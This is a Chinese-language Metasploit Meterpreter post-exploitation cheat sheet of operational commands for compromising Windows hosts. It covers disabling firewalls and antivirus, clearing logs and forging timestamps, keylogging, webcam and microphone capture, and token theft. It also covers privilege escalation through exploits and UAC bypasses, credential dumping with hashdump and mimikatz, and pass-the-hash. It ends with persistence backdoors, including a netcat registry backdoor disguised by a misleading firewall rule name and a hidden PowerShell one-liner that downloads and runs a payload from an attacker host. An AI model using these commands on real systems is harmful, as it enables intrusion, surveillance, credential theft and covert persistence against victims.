0x01 系统命令
基本系统命令
1 background # 将当前会话放置后台 2 sessions # sessions –h 查看帮助 3 sessions -i#进入会话 -k 杀死会话 4 bgrun / run # 执行已有的模块,输入run后按两下tab,列出已有的脚本 5 info # 查看已有模块信息 6 getuid # 查看当前用户身份 7 getprivs # 查看当前用户具备的权限 8 getpid # 获取当前进程ID(PID) 9 sysinfo # 查看目标机系统信息10 irb # 开启ruby终端11 ps # 查看正在运行的进程 12 kill # 杀死指定PID进程13 idletime # 查看目标机闲置时间14 reboot / shutdown # 重启/关机15 shell # 进入目标机cmd shell
常用cmd命令
1 whoami # 当前权限 2 quser # 查询当前在线的管理员 3 net user # 查看存在用户 4 net user 用户名 密码 /add # 添加用户和对应密码 5 net localgroup 用户组名 用户名 /add # 将指定用户添加到指定用户组 6 netstat -ano # 查询当前计算机中网络连接通信情况,LISTENING表示该端口处于监听状态;ESTABLISHED表示该端口处于工作(通信)状态 7 systeminfo # 查看当前计算机中的详细情况 8 tasklist /svc # 查看每个进程所对应的服务 9 taskkill /f /im 程序名称 # 结束某个指定名称的程序10 taskkill /f /PID ID # 结束某个指定PID的进程11 tasklist | findstr "字符串" # 查找输出结果中指定的内容12 logoff # 注销某个指定用户的ID13 shutdown -r # 重启当前计算机14 netsh adcfirewall set allprofiles state off # 关闭防火墙
uictl开关键盘/鼠标
1 uictl [enable/disable] [keyboard/mouse/all] # 开启或禁止键盘/鼠标2 uictl disable mouse # 禁用鼠标3 uictl disable keyboard # 禁用键盘
execute执行文件
1 execute #在目标机中执行文件2 execute -H -i -f cmd.exe # 创建新进程cmd.exe,-H不可见,-i交互3 execute -H -m -d notepad.exe -f payload.exe -a "-o hack.txt"4 # -d 在目标主机执行时显示的进程名称(用以伪装)-m 直接从内存中执行5 "-o hack.txt"是payload.exe的运行参数
migrate进程迁移
1 getpid # 获取当前进程的pid2 ps # 查看当前活跃进程3 migrate # 将Meterpreter会话移植到指定pid值进程中4 kill# 杀死进程
clearav清楚日志
1 clearav # 清除windows中的应用程序日志、系统日志、安全日志
0x02 文件系统命令
基本文件系统命令
1 ls # 列出当前目录中的文件列表 2 cd # 进入指定目录 3 getwd / pwd # 查看当前工作目录 4 search -d c:\\ -f *.txt # 搜索文件 -d 目录 -f 文件名 5 cat c:\\123.txt # 查看文件内容 6 upload /tmp/hack.txt C:\\ # 上传文件到目标机上 7 download c:\\123.txt /tmp/ # 下载文件到本机上 8 edit c:\\test.txt # 编辑或创建文件 没有的话,会新建文件 9 rm C:\\hack.txt # 删除文件10 mkdir admin # 只能在当前目录下创建文件夹11 rmdir admin # 只能删除当前目录下文件夹12 getlwd / lpwd # 查看本地当前目录13 lcd /tmp # 切换本地目录
timestomp伪造时间戳
1 timestomp C:\\ -h #查看帮助2 timestomp -v C:\\2.txt #查看时间戳3 timestomp C:\\2.txt -f C:\\1.txt #将1.txt的时间戳复制给2.txt4 timestomp c:\\test\\22.txt -z "03/10/2019 11:55:55" -v # 把四个属性设置为统一时间
0x03 网络命令
基本网络命令
1 ipconfig/ifconfig # 查看网络接口信息2 netstat –ano # 查看网络连接状态3 arp # 查看arp缓冲表4 getproxy # 查看代理信息5 route # 查看路由表信息
portfwd 端口转发
1 portfwd add -l 1111 -p 3389 -r 127.0.0.1 #将目标机的3389端口转发到本地1111端口2 rdesktop 127.0.0.1:1111 # 需要输入用户名密码连接3 rdesktop -u Administrator -p 123 127.0.0.1:1111 # -u 用户名 -p 密码
autoroute 添加路由
1 run autoroute -h # 查看帮助2 run get_local_subnets # 查看目标内网网段地址3 run autoroute -s 192.168.183.0/24 # 添加目标网段路由4 run autoroute -p # 查看添加的路由
利用arp_scanner、portscan等进行扫描
1 run post/windows/gather/arp_scanner RHOSTS=192.168.183.0/242 run auxiliary/scanner/portscan/tcp RHOSTS=192.168.183.146 PORTS=3389
0x04 信息收集
常用脚本
1 run arp_scanner -r 192.168.183.1/24 # 利用arp进行存活主机扫描 2 run winenum # 自动化执行一些检测脚本 3 run credcollect # 获取用户hash 4 run domain_list_gen # 获取域管理账户列表 5 run post/multi/gather/env # 获取用户环境变量 6 run post/windows/gather/enum_logged_on_users -c # 列出当前登录用户 7 run post/linux/gather/checkvm # 是否虚拟机 8 run post/windows/gather/checkvm # 是否虚拟机 9 run post/windows/gather/forensics/enum_drives # 查看存储器信息10 run post/windows/gather/enum_applications # 获取安装软件信息11 run post/windows/gather/dumplinks # 获取最近访问过的文档、链接信息12 run post/windows/gather/enum_ie # 获取IE缓存13 run post/windows/gather/enum_firefox # 获取firefox缓存14 run post/windows/gather/enum_chrome # 获取Chrome缓存15 run post/multi/recon/local_exploit_suggester # 获取本地提权漏洞16 run post/windows/gather/enum_patches # 获取补丁信息17 run post/windows/gather/enum_domain # 查找域控18 run post/windows/gather/enum_snmp # 获取snmp团体名称19 run post/windows/gather/credentials/vnc # 获取vnc密码20 run post/windows/wlan/wlan_profile # 用于读取目标主机WiFi密码21 run post/multi/gather/wlan_geolocate # 基于wlan进行地理位置确认 文件位于/root/.msf4/loot22 run post/windows/manage/killav 关闭杀毒软件
常用的破解模块
1 auxiliary/scanner/mssql/mssql_login 2 auxiliary/scanner/ftp/ftp_login 3 auxiliary/scanner/ssh/ssh_login 4 auxiliary/scanner/telnet/telnet_login 5 auxiliary/scanner/smb/smb_login 6 auxiliary/scanner/mssql/mssql_login 7 auxiliary/scanner/mysql/mysql_login 8 auxiliary/scanner/oracle/oracle_login 9 auxiliary/scanner/postgres/postgres_login10 auxiliary/scanner/vnc/vnc_login11 auxiliary/scanner/pcanywhere/pcanywhere_login12 auxiliary/scanner/snmp/snmp_login13 auxiliary/scanner/ftp/anonymous
键盘记录
1 keyscan_start # 开始键盘记录2 keyscan_dump # 导出记录数据3 keyscan_stop # 结束键盘记录
sniffer 抓包
1 use sniffer2 sniffer_interfaces # 查看网卡3 sniffer_start 1 # 选择网卡1开始抓包4 sniffer_stats 1 # 查看网卡1状态5 sniffer_dump 1 /tmp/wlan1.pcap # 导出pcap数据包6 sniffer_stop 1 # 停止网卡1抓包7 sniffer_release 1 # 释放网卡1流量
窃取令牌
1 steal_token # 从指定进程中窃取token2 drop_token # 停止假冒当前的token
网络摄像头
1 record_mic # 音频录制2 webcam_chat # 开启视频聊天(对方有弹窗)3 webcam_list # 查看摄像头4 webcam_snap # 通过摄像头拍照5 webcam_stream # 通过摄像头开启视频监控(以网页形式进行监控≈直播)
截屏
1 screenshot # 截屏2 use espia # 使用espia模块3 screengrab # 截屏
0x05 提权
getsystem 提权
利用getsystem命令提权,该命令会自动寻找各种可能的提权技术来使得用户将权限提升到更高的级别。提权方式采用命令管道模拟提升的方法和令牌复制的方法。
1 getsystem
本地漏洞提权
本地漏洞提权即是通过运行一些造成溢出漏洞的exploit,把用户从普通权限提升为管理员权限。
1.利用getuid查看已获得权限,尝试利用getsystem提权,失败。
2.利用enum_patches模块搜集补丁信息,然后寻找可利用的exploits进行提权。
1 run post/windows/gather/enum_patches #查看补丁信息2 background3 search MS10-0154 use exploit/windows/local/ms10_015_kitrap0d5 set session 86 run
绕过UAC提权
使用bypassuac提权
msf内置一些bypassuac脚本,原理不同,使用方法类似,执行后返回一个新的会话,再次执行getsystem即可提权
1 exploit/windows/local/bypassuac2 exploit/windows/local/bypassuac_eventvwr3 exploit/windows/local/bypassuac_injection4 exploit/windows/local/bypassuac_injection_winsxs5 exploit/windows/local/bypassuac_silentcleanup6 exploit/windows/local/bypassuac_vbs
使用命令getsystem提权失败,然后利用bypassuac来提权,这里利用exploit/windows/local/bypassuac模块(32位、64位都有效)
1 use exploit/windows/local/bypassuac2 set session 13 run
使用RunAs提权
该方法利用exploit/windows/local/ask模块(32位、64位都有效),创建一个可执行文件并在目标机上发起一个提升权限请求的程序,触发系统UAC,提示用户是否要继续,如果用户选择“是”,则会返回一个高权限的meterpreter shell。
1 use exploit/windows/local/ask2 set filename update.exe # 设置反弹程序名称3 set session 14 run
输入run命令以后会在目标机上弹出UAC,提示用户是否允许,选择是就会返回一个高权限的meterpreter shell。
注:使用RunAs模块进行提权时,系统当前用户须在管理员组或者知道管理员的密码,用户账户控制程序UAC设置则没有要求。使用RunAs模块进行提权时,会创建一个可执行文件,为了避免给杀毒软件查杀,该可执行文件(需进行免杀处理)的创建要使用EXE::Custom选项。
假冒令牌提权
令牌是系统临时密钥,它允许你在不提供密码或其他凭证的前提下,访问网络和系统资源。这些令牌将持续存在于系统中,除非系统重新启动。一般有两种类型的令牌,一种是Delegation Tokens,也就是授权令牌,它支持交互式登录(例如远程桌面登陆登录)。还有一种是Impersonation Tokens,也就是模拟令牌,它是非交互的会话(例如访问文件共享)。
1 use incognito # 加载窃取令牌模块2 list_tokens -u # 查看可用的用户令牌3 list_tokens -g # 查看可用的用户组令牌4 impersonate_token 'NT AUTHORITY\SYSTEM' # 假冒SYSTEM token5 rev2self #返回原始token
利用AlwaysInstallElevated提权
AlwaysInstallElevated是一个策略设置。微软允许非授权用户以SYSTEM权限运行安装文件(MSI),如果用户启用此策略设置,那么黑客利用恶意的MSI文件就可以进行管理员权限的提升。
查看AlwaysInstallElevated是否被定义
不过利用此方法有个前提条件,需要有两个注册表的键值为1,我们可以在cmdshell下查看AlwaysInstallElevated是否被定义
1 reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated2 reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
如果在组策略里未定义AlwaysInstallElevated,则会出现“错误: 系统找不到指定的注册表项或值”的提示。
如果需要开启可以选择以下方法:
1.打开组策略编辑器(运行框输入gpedit.msc)
2.组策略->计算机配置->管理模版->Windows组件->Windows Installer->永远以高特权进行安装:选择启用
3.组策略->用户配置->管理模版->Windows组件->Windows Installer->永远以高特权进行安装:选择启用
设置完成后对应注册表的位置值会设为1,开启AlwaysInstallElevated。
生成MSI安装文件
利用msfvenom命令生成一个在目标机上增加管理员用户的MSI安装文件,这里密码要设置为强密码,否则会报错。
1 msfvenom -p windows/adduser USER=msi PASS=Abc123@@ -f msi -o msi.msi
上传并执行MSI文件
1 upload msi.msi c:\\Users\\test # 部分目录由于权限原因可能上传失败2 msiexec /quiet /qn /i msi.msi # /quiet=安装过程中禁止向用户发送消息 /qn=不使用图形界面 /i=安装程序3 net localgroup administrators 4 upload msi.msi c:\\ # 上传文件
0x06 窃取hash及密码&哈希传递
窃取hash及密码
hashdump
1 hashdump2 run post/windows/gather/smart_hashdump
mimikatz
1 load mimikatz # 加载mimikatz模块2 msv # 获取用户和hash值 3 kerberos # 获取内存中的明文密码信息4 wdigest # 获取内存中的明文密码信息5 mimikatz_command -f a:: # 需要以错误的模块来让正确的模块显示6 mimikatz_command -f sekurlsa::searchPasswords # 获取用户密码7 mimikatz_command -f samdump::hashes # 执行用户hash
kiwi
kiwi是利用的mimikatz扩展,运行需要SYSTEM权限
1 load kiwi2 creds_all
哈希传递
利用hashdump得到用户的hash后可利用psexec模块进行哈希传递攻击。
使用psexec的前提:SMB服务必须开启,也就是开启445端口;Admin$可以访问。
1 use exploit/windows/smb/psexec2 set payload windows/meterpreter/reverse_tcp3 set LHOST 192.168.1.14 set LPORT 4435 set RHOST 192.168.183.1546 set SMBUSER Administrator7 set SMBPASS ccf**4ee:3db**6788 set SMBDOMAIN WORKGROUP # 域用户需要设置SMBDOMAIN9 run
0x07 RDP
开启3389
getui 命令
这里需要注意的是通过getgui命令,虽然可以成功添加用户,但是没有权限远程登录桌面,这里推荐使用enable_rdp脚本添加。
1 run getgui –h # 查看帮助2 run getgui -e # 开启远程桌面3 run getgui -u admin -p admin # 添加用户4 run getgui -f 6666 -e # 3389端口转发到6666
enable_rdp脚本
通过enable_rdp脚本将用户添加到远程桌面用户组和管理员用户组
1 run post/windows/manage/enable_rdp #开启远程桌面2 run post/windows/manage/enable_rdp USERNAME=admin PASSWORD=admin # 添加用户3 run post/windows/manage/enable_rdp FORWARD=true LPORT=6667 # 将3389端口转发到6667
远程桌面
1 enumdesktops # 查看可用的桌面2 getdesktop # 获取当前meterpreter 关联的桌面3 setdesktop # 设置meterpreter关联的桌面 -h查看帮助4 run vnc # 使用vnc远程桌面连接5 rdesktop 127.0.0.1:1111 # 需要输入用户名密码连接6 rdesktop -u Administrator -p 123 127.0.0.1:1111 # -u 用户名 -p 密码
0x08 注册表操作
注册表基本命令
1 reg –h # 查看帮助2 -k 注册表的路径 -v 键的名称 -d 键值3 reg enumkey [-k] # 枚举注册表的内容4 reg createkey [-k] # 创建注册表项5 reg deletekey [-k] # 删除注册表项6 reg setval [-k-v-d] # 在注册表里添加内容7 reg deleteval [-k-v] # 删除注册表的值8 reg queryval [-k-v] # 查询注册表的值
利用注册表添加nc后门
1.编辑注册表,添加nc到系统启动项中,形成后门程序。
1 upload /usr/share/windows-binaries/nc.exe C:\\windows\\system32 # 上传nc到目标主机2 reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run # 枚举注册表run下的键值3 reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v test_nc -d 'C:\windows\system32\nc.exe -Ldp 443 -e cmd.exe' # 设置键值 -v 键的名称 -d 键值4 reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v test_nc # 查看test_nc的键值
2.设置防火墙允许通过443端口(如果目标主机开启防火墙,没有设置相应的规则可能会导致连接失败。)
1 shell2 netsh firewall show opmode # 查看防火墙状态3 netsh firewall add portopening TCP 443 "网络发现(Pub PSD-Out)" ENABLE ALL # 添加防火墙的规则允许443端口通过(这里“网络发现(Pub PSD-Out)”是规则名称,目的是为了迷惑管理员。)
3.待目标主机重启后,自启nc程序,然后我们利用nc连接即可。
1 nc 127.0.0.1 443
0x09 后门植入
我们需要通过植入后门来维持权限,前面说的nc后门就是其中一种,另外一般还有Persistence和Metsvc。
Persistence(通过启动项安装)
1 run persistence –h # 查看帮助2 run persistence -X -i 5 -p 4444 -r 192.168.1.13 run persistence -U -i 5 -p 4444 -r 192.168.1.1 -L c:\\Windows\\System324 -X:设置后门在系统启动后自启动。该方式会在HKLM\Software\Microsoft\Windows\CurrentVersion\Run下添加注册表信息。由于权限原因会导致添加失败,后门无法启动。因此在非管理员权限下,不推荐使用该参数5 -U:设置后门在用户登录后自启动。该方式会在HKCU\Software\Microsoft\Windows\CurrentVersion\Run下添加注册表信息6 -L:后门传到远程主机的位置默认为%TEMP%7 -i:设置反向连接间隔时间为5秒8 -p:设置反向连接的端口号9 -r:设置反向连接的ip地址
Metsvc(通过服务安装)
1 run metsvc -h # 查看帮助 2 run metsvc -A # 自动安装后门 3 run metsvc -r # 删除后门 4 5 连接后门 6 use exploit/multi/handler 7 set payload windows/metsvc_bind_tcp 8 set rhost 192.168.1.1 9 set lport 3133710 run
Powershell后门
1 use exploit/multi/script/web_delivery 2 set payload windows/meterpreter/reverse_tcp 3 set LHOST 192.168.1.1 4 set LPORT 2334 5 set srvport 2333 6 set uripath / 7 set target 5 8 run 9 在目标设备cmd上执行以下命令即可反弹10 powershell.exe -nop -w hidden -c $z="echo ($env:temp+'\eJedcsJE.exe')"; (new-object System.Net.WebClient).DownloadFile('http://192.168.1.1:2333/', $z); invoke-item $z
####